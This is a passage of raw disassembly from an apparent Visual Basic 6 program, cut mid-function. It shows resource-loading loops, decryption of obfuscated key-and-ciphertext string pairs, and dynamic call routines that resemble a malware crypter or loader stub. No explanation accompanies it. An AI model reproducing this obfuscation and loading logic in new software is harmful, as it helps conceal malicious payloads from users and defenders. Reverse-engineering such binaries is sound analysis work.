		push	esi
		call	__vbaAryDestruct
		lea	eax, [ebp+var_34]
		mov	[ebp+var_3D4], eax
		lea	eax, [ebp+var_3D4]
		push	eax
		push	esi
		call	__vbaAryDestruct
		lea	ecx, [ebp+var_94]
		call	__vbaFreeStr
		lea	ecx, [ebp+var_194]
		call	__vbaFreeStr
		lea	ecx, [ebp+var_198]
		call	__vbaFreeStr
		lea	eax, [ebp+var_2B4]
		push	eax
		push	offset dword_401AD4
		call	__vbaRecDestruct
		retn
; ---------------------------------------------------------------------------


loc_40C0E2:				; DATA XREF: sub_4097F2:loc_40C010o
		mov	ecx, [ebp+var_10]
		mov	eax, [ebp+var_19C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40C0F9:				; CODE XREF: sub_4097F2+C2Bj
					; sub_4097F2+152Dj ...
		call	__vbaErrorOverflow


loc_40C0FE:				; DATA XREF: .text:004016ECo
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	offset __vbaExceptHandler
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		mov	eax, 0A8h
		call	__vbaChkstk
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_14], offset dword_401200
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	[ebp+var_4], 1
		mov	[ebp+var_4], 2
		push	0FFFFFFFFh
		call	__vbaOnError
		mov	[ebp+var_4], 3
		xor	edx, edx
		lea	ecx, [ebp+var_68]
		call	__vbaStrCopy
		lea	eax, [ebp+var_68]
		push	eax
		push	3E9h
		push	3E8h
		call	sub_40E279
		mov	edx, eax
		lea	ecx, [ebp+var_48]
		call	__vbaStrMove
		lea	ecx, [ebp+var_68]
		call	__vbaFreeStr
		mov	[ebp+var_4], 4
		xor	edx, edx
		lea	ecx, [ebp+var_68]
		call	__vbaStrCopy
		lea	eax, [ebp+var_68]
		push	eax
		push	3EAh
		push	3E8h
		call	sub_40E279
		mov	edx, eax
		lea	ecx, [ebp+var_6C]
		call	__vbaStrMove
		push	eax
		call	__vbaI4Str
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	2
		call	__vbaFreeStrList
		add	esp, 0Ch
		mov	[ebp+var_4], 5
		xor	edx, edx
		lea	ecx, [ebp+var_68]
		call	__vbaStrCopy
		lea	eax, [ebp+var_68]
		push	eax
		push	3EDh
		push	3E8h
		call	sub_40E279
		mov	edx, eax
		lea	ecx, [ebp+var_6C]
		call	__vbaStrMove
		push	eax
		call	__vbaI4Str
		mov	[ebp+var_5C], eax
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	2
		call	__vbaFreeStrList
		add	esp, 0Ch
		mov	[ebp+var_4], 6
		xor	edx, edx
		lea	ecx, [ebp+var_68]
		call	__vbaStrCopy
		lea	eax, [ebp+var_68]
		push	eax
		push	3EEh
		push	3E8h
		call	sub_40E279
		mov	edx, eax
		lea	ecx, [ebp+var_6C]
		call	__vbaStrMove
		push	eax
		call	__vbaI4Str
		mov	[ebp+var_64], eax
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	2
		call	__vbaFreeStrList
		add	esp, 0Ch
		mov	[ebp+var_4], 7
		xor	edx, edx
		lea	ecx, [ebp+var_68]
		call	__vbaStrCopy
		lea	eax, [ebp+var_68]
		push	eax
		push	3E8h
		push	3E8h
		call	sub_40E325
		mov	[ebp+var_84], eax
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	__vbaAryMove
		lea	ecx, [ebp+var_68]
		call	__vbaFreeStr
		mov	[ebp+var_4], 8
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_40DBAA
		mov	[ebp+var_4], 9
		cmp	[ebp+var_5C], 0
		jz	short loc_40C2EF
		mov	[ebp+var_4], 0Ah
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	loc_40ECE0
		mov	[ebp+var_84], eax
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	__vbaAryMove


loc_40C2EF:				; CODE XREF: sub_4097F2+2AD1j
		mov	[ebp+var_4], 0Ch
		mov	[ebp+var_90], 6
		mov	[ebp+var_8C], 1
		mov	[ebp+var_30], 1
		jmp	short loc_40C325
; ---------------------------------------------------------------------------


loc_40C313:				; CODE XREF: sub_4097F2+2E28j
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_8C]
		jo	loc_40C7E4
		mov	[ebp+var_30], eax


loc_40C325:				; CODE XREF: sub_4097F2+2B1Fj
		mov	eax, [ebp+var_30]
		cmp	eax, [ebp+var_90]
		jg	loc_40C61F
		mov	[ebp+var_4], 0Dh
		xor	edx, edx
		lea	ecx, [ebp+var_68]
		call	__vbaStrCopy
		lea	eax, [ebp+var_68]
		push	eax
		push	3EBh
		mov	eax, [ebp+var_30]
		add	eax, 3E8h
		jo	loc_40C7E4
		push	eax
		call	sub_40E279
		mov	edx, eax
		lea	ecx, [ebp+var_6C]
		call	__vbaStrMove
		push	eax
		call	__vbaLenBstr
		xor	ecx, ecx
		test	eax, eax
		setnle	cl
		neg	ecx
		mov	[ebp+var_88], cx
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	2
		call	__vbaFreeStrList
		add	esp, 0Ch
		movsx	eax, [ebp+var_88]
		test	eax, eax
		jz	loc_40C613
		mov	[ebp+var_4], 0Eh
		xor	edx, edx
		lea	ecx, [ebp+var_68]
		call	__vbaStrCopy
		lea	eax, [ebp+var_68]
		push	eax
		push	3E9h
		mov	eax, [ebp+var_30]
		add	eax, 3E8h
		jo	loc_40C7E4
		push	eax
		call	sub_40E325
		mov	[ebp+var_84], eax
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		call	__vbaAryMove
		lea	ecx, [ebp+var_68]
		call	__vbaFreeStr
		mov	[ebp+var_4], 0Fh
		xor	edx, edx
		lea	ecx, [ebp+var_68]
		call	__vbaStrCopy
		lea	eax, [ebp+var_68]
		push	eax
		push	3EAh
		mov	eax, [ebp+var_30]
		add	eax, 3E8h
		jo	loc_40C7E4
		push	eax
		call	sub_40E325
		mov	[ebp+var_84], eax
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	__vbaAryMove
		lea	ecx, [ebp+var_68]
		call	__vbaFreeStr
		mov	[ebp+var_4], 10h
		xor	edx, edx
		lea	ecx, [ebp+var_68]
		call	__vbaStrCopy
		lea	eax, [ebp+var_68]
		push	eax
		push	3EBh
		mov	eax, [ebp+var_30]
		add	eax, 3E8h
		jo	loc_40C7E4
		push	eax
		call	sub_40E279
		mov	edx, eax
		lea	ecx, [ebp+var_6C]
		call	__vbaStrMove
		push	eax
		call	__vbaI4Str
		mov	[ebp+var_44], eax
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	2
		call	__vbaFreeStrList
		add	esp, 0Ch
		mov	[ebp+var_4], 11h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_40DBAA
		mov	[ebp+var_4], 12h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40DBAA
		mov	[ebp+var_4], 13h
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40E0D6
		mov	edx, eax
		lea	ecx, [ebp+var_3C]
		call	__vbaStrMove
		mov	[ebp+var_4], 14h
		call	sub_40D252
		mov	edx, eax
		lea	ecx, [ebp+var_68]
		call	__vbaStrMove
		push	eax
		push	[ebp+var_3C]
		call	__vbaStrCat
		mov	edx, eax
		lea	ecx, [ebp+var_6C]
		call	__vbaStrMove
		lea	eax, [ebp+var_6C]
		push	eax
		call	sub_40C7E9
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	2
		call	__vbaFreeStrList
		add	esp, 0Ch
		mov	[ebp+var_4], 15h
		push	[ebp+var_34]
		push	1
		call	__vbaUbound
		add	eax, 1
		jo	loc_40C7E4
		cmp	eax, [ebp+var_44]
		jnz	short loc_40C535
		jmp	short loc_40C55F
; ---------------------------------------------------------------------------


loc_40C535:				; CODE XREF: sub_4097F2+2D3Fj
		mov	[ebp+var_4], 17h
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		call	loc_40ECE0
		mov	[ebp+var_84], eax
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		call	__vbaAryMove


loc_40C55F:				; CODE XREF: sub_4097F2+2D41j
		mov	[ebp+var_4], 19h
		call	sub_40D252
		mov	edx, eax
		lea	ecx, [ebp+var_70]
		call	__vbaStrMove
		mov	eax, [ebp+var_70]
		mov	[ebp+var_C4], eax
		and	[ebp+var_70], 0
		lea	eax, [ebp+var_34]
		push	eax
		mov	edx, [ebp+var_C4]
		lea	ecx, [ebp+var_68]
		call	__vbaStrMove
		push	eax
		push	[ebp+var_3C]
		call	__vbaStrCat
		mov	edx, eax
		lea	ecx, [ebp+var_6C]
		call	__vbaStrMove
		push	eax
		call	sub_40D1A4
		lea	eax, [ebp+var_70]
		push	eax
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	3
		call	__vbaFreeStrList
		add	esp, 10h
		mov	[ebp+var_4], 1Ah
		call	sub_40D252
		mov	edx, eax
		lea	ecx, [ebp+var_68]
		call	__vbaStrMove
		push	eax
		push	[ebp+var_3C]
		call	__vbaStrCat
		mov	edx, eax
		lea	ecx, [ebp+var_6C]
		call	__vbaStrMove
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40CA0D
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	2
		call	__vbaFreeStrList
		add	esp, 0Ch
		lea	ecx, [ebp+var_80]
		call	__vbaFreeVar


loc_40C613:				; CODE XREF: sub_4097F2+2BABj
		mov	[ebp+var_4], 1Ch
		jmp	loc_40C313
; ---------------------------------------------------------------------------


loc_40C61F:				; CODE XREF: sub_4097F2+2B3Cj
		mov	[ebp+var_4], 1Dh
		mov	[ebp+var_98], 3E8h
		mov	[ebp+var_94], 1
		mov	[ebp+var_30], 1
		jmp	short loc_40C655
; ---------------------------------------------------------------------------


loc_40C643:				; CODE XREF: sub_4097F2+2EF6j
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_94]
		jo	loc_40C7E4
		mov	[ebp+var_30], eax


loc_40C655:				; CODE XREF: sub_4097F2+2E4Fj
		mov	eax, [ebp+var_30]
		cmp	eax, [ebp+var_98]
		jg	loc_40C6ED
		mov	[ebp+var_4], 1Eh
		call	sub_40CCED
		mov	edx, eax
		lea	ecx, [ebp+var_70]
		call	__vbaStrMove
		xor	edx, edx
		lea	ecx, [ebp+var_6C]
		call	__vbaStrCopy
		mov	eax, [ebp+var_70]
		mov	[ebp+var_C8], eax
		and	[ebp+var_70], 0
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		mov	edx, [ebp+var_C8]
		lea	ecx, [ebp+var_68]
		call	__vbaStrMove
		push	eax
		call	sub_4097F2
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		neg	ecx
		mov	[ebp+var_88], cx
		lea	eax, [ebp+var_70]
		push	eax
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	3
		call	__vbaFreeStrList
		add	esp, 10h
		movsx	eax, [ebp+var_88]
		test	eax, eax
		jz	short loc_40C6E1
		jmp	short loc_40C6ED
; ---------------------------------------------------------------------------


loc_40C6E1:				; CODE XREF: sub_4097F2+2EEBj
		mov	[ebp+var_4], 21h
		jmp	loc_40C643
; ---------------------------------------------------------------------------


loc_40C6ED:				; CODE XREF: sub_4097F2+2E6Cj
					; sub_4097F2+2EEDj
		push	offset loc_40C7D5
		jmp	short loc_40C713
; ---------------------------------------------------------------------------


loc_40C6F4:				; DATA XREF: .text:0040120Co
		lea	eax, [ebp+var_70]
		push	eax
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	3
		call	__vbaFreeStrList
		add	esp, 10h
		lea	ecx, [ebp+var_80]
		call	__vbaFreeVar
		retn
; ---------------------------------------------------------------------------


loc_40C713:				; CODE XREF: sub_4097F2+2F00j
					; DATA XREF: .text:00401208o
		lea	eax, [ebp+var_9C]
		push	eax
		push	0
		call	__vbaAryDestruct
		lea	eax, [ebp+var_A0]
		push	eax
		push	0
		call	__vbaAryDestruct
		lea	eax, [ebp+var_A4]
		push	eax
		push	0
		call	__vbaAryDestruct
		lea	eax, [ebp+var_A8]
		push	eax
		push	0
		call	__vbaAryDestruct
		lea	eax, [ebp+var_AC]
		push	eax
		push	0
		call	__vbaAryDestruct
		lea	eax, [ebp+var_28]
		push	eax
		push	0
		call	__vbaAryDestruct
		lea	eax, [ebp+var_2C]
		push	eax
		push	0
		call	__vbaAryDestruct
		lea	eax, [ebp+var_34]
		push	eax
		push	0
		call	__vbaAryDestruct
		lea	ecx, [ebp+var_38]
		call	__vbaFreeStr
		lea	ecx, [ebp+var_3C]
		call	__vbaFreeStr
		lea	eax, [ebp+var_40]
		push	eax
		push	0
		call	__vbaAryDestruct
		lea	ecx, [ebp+var_48]
		call	__vbaFreeStr
		lea	eax, [ebp+var_4C]
		push	eax
		push	0
		call	__vbaAryDestruct
		lea	eax, [ebp+var_50]
		push	eax
		push	0
		call	__vbaAryDestruct
		lea	eax, [ebp+var_54]
		push	eax
		push	0
		call	__vbaAryDestruct
		lea	eax, [ebp+var_58]
		push	eax
		push	0
		call	__vbaAryDestruct
		lea	eax, [ebp+var_60]
		push	eax
		push	0
		call	__vbaAryDestruct
		retn
; ---------------------------------------------------------------------------


loc_40C7D5:				; DATA XREF: sub_4097F2:loc_40C6EDo
		mov	ecx, [ebp+var_20]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40C7E4:				; CODE XREF: sub_4097F2+2B2Aj
					; sub_4097F2+2B64j ...
		call	__vbaErrorOverflow
sub_4097F2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C7E9	proc near		; CODE XREF: sub_4097F2+2D0Bp

var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset __vbaExceptHandler
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], esp
		mov	[ebp+var_4], offset dword_4012A8
		mov	edi, [ebp+arg_0]
		push	dword ptr [edi]
		xor	esi, esi
		push	offset dword_401F34
		mov	[ebp+var_14], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_1C], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_24], esi
		mov	[ebp+var_28], esi
		mov	[ebp+var_2C], esi
		mov	[ebp+var_30], esi
		mov	[ebp+var_34], esi
		mov	[ebp+var_38], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_60], esi
		call	__vbaStrCmp
		test	eax, eax
		jz	loc_40C9A0
		mov	edx, [edi]
		lea	ecx, [ebp+var_18]
		call	__vbaStrCopy
		push	esi
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], eax
		push	80h
		lea	eax, [ebp+var_60]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		mov	[ebp+var_60], 4008h
		call	rtcStrConvVar2
		lea	eax, [ebp+var_4C]
		push	eax
		call	__vbaStrVarMove
		mov	edx, eax
		lea	ecx, [ebp+var_18]
		call	__vbaStrMove
		lea	ecx, [ebp+var_4C]
		call	__vbaFreeVar
		mov	edx, offset a9pcbooj6m7qf ; "9pcbOOJ6m7QF"
		lea	ecx, [ebp+var_24]
		call	__vbaStrCopy
		mov	edx, offset aA9319c49294983 ; "A9319C49294983B6"
		lea	ecx, [ebp+var_20]
		call	__vbaStrCopy
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_38]
		call	__vbaStrMove
		mov	edx, offset aK1ik2ahs8 ; "k1Ik2ahS8"
		lea	ecx, [ebp+var_2C]
		call	__vbaStrCopy
		mov	edx, offset a8e70488bee9000 ; "8E70488BEE9000E648D006"
		lea	ecx, [ebp+var_28]
		call	__vbaStrCopy
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_3C]
		call	__vbaStrMove
		push	esi
		push	esi
		push	1
		push	esi
		lea	eax, [ebp+var_50]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	[ebp+var_18]
		call	VarPtr
		push	esi
		push	[ebp+var_50]
		mov	[ebp+var_58], eax
		mov	[ebp+var_60], 3
		lea	edi, [ebp+var_60]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, edi
		call	__vbaVarMove
		mov	edx, [ebp+var_3C]
		lea	ecx, [ebp+var_34]
		mov	[ebp+var_3C], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_38]
		lea	ecx, [ebp+var_30]
		mov	[ebp+var_38], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_408D64
		mov	edi, eax
		lea	eax, [ebp+var_50]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	8
		mov	[ebp+var_1C], edi
		call	__vbaFreeStrList
		add	esp, 24h


loc_40C9A0:				; CODE XREF: sub_40C7E9+65j
		push	offset loc_40C9F9
		jmp	short loc_40C9E5
; ---------------------------------------------------------------------------


loc_40C9A7:				; DATA XREF: .text:004012B4o
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	8
		call	__vbaFreeStrList
		add	esp, 24h
		lea	ecx, [ebp+var_4C]
		call	__vbaFreeVar
		lea	eax, [ebp+var_50]
		push	eax
		push	0
		call	__vbaAryDestruct
		retn
; ---------------------------------------------------------------------------


loc_40C9E5:				; CODE XREF: sub_40C7E9+1BCj
					; DATA XREF: .text:004012B0o
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	__vbaAryDestruct
		lea	ecx, [ebp+var_18]
		call	__vbaFreeStr
		retn
; ---------------------------------------------------------------------------


loc_40C9F9:				; DATA XREF: sub_40C7E9:loc_40C9A0o
		mov	ecx, [ebp+var_10]
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40C7E9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA0D	proc near		; CODE XREF: sub_4097F2+2E02p

var_BC		= dword	ptr -0BCh
var_B4		= dword	ptr -0B4h
var_AC		= dword	ptr -0ACh
var_A4		= dword	ptr -0A4h
var_9C		= dword	ptr -9Ch
var_94		= dword	ptr -94h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
var_7C		= dword	ptr -7Ch
var_74		= dword	ptr -74h
var_6C		= dword	ptr -6Ch
var_64		= dword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	offset __vbaExceptHandler
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0B8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], offset dword_4012B8
		mov	eax, [ebp+arg_4]
		xor	esi, esi
		push	esi
		mov	[ebp+var_64], eax
		push	80h
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		mov	[ebp+var_24], esi
		mov	[ebp+var_28], esi
		mov	[ebp+var_2C], esi
		mov	[ebp+var_30], esi
		mov	[ebp+var_34], esi
		mov	[ebp+var_38], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_58], esi
		mov	[ebp+var_5C], esi
		mov	[ebp+var_7C], esi
		mov	[ebp+var_8C], esi
		mov	[ebp+var_9C], esi
		mov	[ebp+var_AC], esi
		mov	[ebp+var_BC], esi
		mov	[ebp+var_6C], 4008h
		call	rtcStrConvVar2
		lea	eax, [ebp+var_58]
		push	eax
		call	__vbaStrVarMove
		mov	edx, eax
		lea	ecx, [ebp+var_28]
		call	__vbaStrMove
		lea	ecx, [ebp+var_58]
		call	__vbaFreeVar
		mov	edx, offset a6rmu92js18g943 ; "6rMu92jS18G943x"
		lea	ecx, [ebp+var_30]
		call	__vbaStrCopy
		mov	edx, offset aD13acee44f29b5 ; "D13ACEE44F29B5"
		lea	ecx, [ebp+var_2C]
		call	__vbaStrCopy
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_44]
		call	__vbaStrMove
		mov	edx, offset a5181n4etlj7i ; "5181N4EtLJ7I"
		lea	ecx, [ebp+var_38]
		call	__vbaStrCopy
		mov	edx, offset a534c7f64368da1 ; "534C7F64368DA1C7EAD5E4A022"
		lea	ecx, [ebp+var_34]
		call	__vbaStrCopy
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_48]
		call	__vbaStrMove
		push	esi
		push	5
		push	1
		push	esi
		lea	eax, [ebp+var_5C]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		mov	[ebp+var_64], esi
		mov	[ebp+var_6C], 2
		push	esi
		push	[ebp+var_5C]
		lea	edi, [ebp+var_6C]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, edi
		call	__vbaVarMove
		push	8
		pop	edi
		push	1
		push	[ebp+var_5C]
		mov	[ebp+var_74], esi
		mov	[ebp+var_7C], edi
		lea	ebx, [ebp+var_7C]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarCopy
		push	[ebp+var_28]
		call	VarPtr
		push	2
		push	[ebp+var_5C]
		mov	[ebp+var_84], eax
		mov	[ebp+var_8C], 3
		lea	ebx, [ebp+var_8C]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	3
		push	[ebp+var_5C]
		mov	[ebp+var_94], esi
		mov	[ebp+var_9C], edi
		lea	ebx, [ebp+var_9C]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarCopy
		push	4
		push	[ebp+var_5C]
		mov	[ebp+var_A4], esi
		mov	[ebp+var_AC], edi
		lea	ebx, [ebp+var_AC]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarCopy
		push	5
		pop	eax
		push	eax
		push	[ebp+var_5C]
		mov	[ebp+var_B4], eax
		mov	[ebp+var_BC], 2
		lea	ebx, [ebp+var_BC]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	edx, [ebp+var_48]
		lea	ecx, [ebp+var_40]
		mov	[ebp+var_48], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_44]
		lea	ecx, [ebp+var_3C]
		mov	[ebp+var_44], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_5C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_408D64
		lea	eax, [ebp+var_5C]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	edi
		call	__vbaFreeStrList
		add	esp, 24h
		push	offset loc_40CCD0
		jmp	short loc_40CCC7
; ---------------------------------------------------------------------------


loc_40CC7B:				; DATA XREF: .text:004012C4o
		test	[ebp+var_4], 4
		jz	short loc_40CC89
		lea	ecx, [ebp+var_24]
		call	__vbaFreeVar


loc_40CC89:				; CODE XREF: sub_40CA0D+272j
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	8
		call	__vbaFreeStrList
		add	esp, 24h
		lea	ecx, [ebp+var_58]
		call	__vbaFreeVar
		lea	eax, [ebp+var_5C]
		push	eax
		push	0
		call	__vbaAryDestruct
		retn
; ---------------------------------------------------------------------------


loc_40CCC7:				; CODE XREF: sub_40CA0D+26Cj
					; DATA XREF: .text:004012C0o
		lea	ecx, [ebp+var_28]
		call	__vbaFreeStr
		retn
; ---------------------------------------------------------------------------


loc_40CCD0:				; DATA XREF: sub_40CA0D+267o
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		lea	esi, [ebp+var_24]
		mov	edi, eax
		movsd
		movsd
		movsd
		movsd
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_40CA0D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCED	proc near		; CODE XREF: sub_4097F2+2E79p

var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_C8		= dword	ptr -0C8h
var_C0		= dword	ptr -0C0h
var_B8		= dword	ptr -0B8h
var_B0		= dword	ptr -0B0h
var_A8		= dword	ptr -0A8h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_8C		= dword	ptr -8Ch
var_7C		= dword	ptr -7Ch
var_6C		= dword	ptr -6Ch
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	offset __vbaExceptHandler
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], offset dword_4012C8
		xor	esi, esi
		push	11h
		push	offset dword_402DF0
		lea	eax, [ebp+var_2C]
		push	eax
		mov	[ebp+var_34], esi
		mov	[ebp+var_38], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
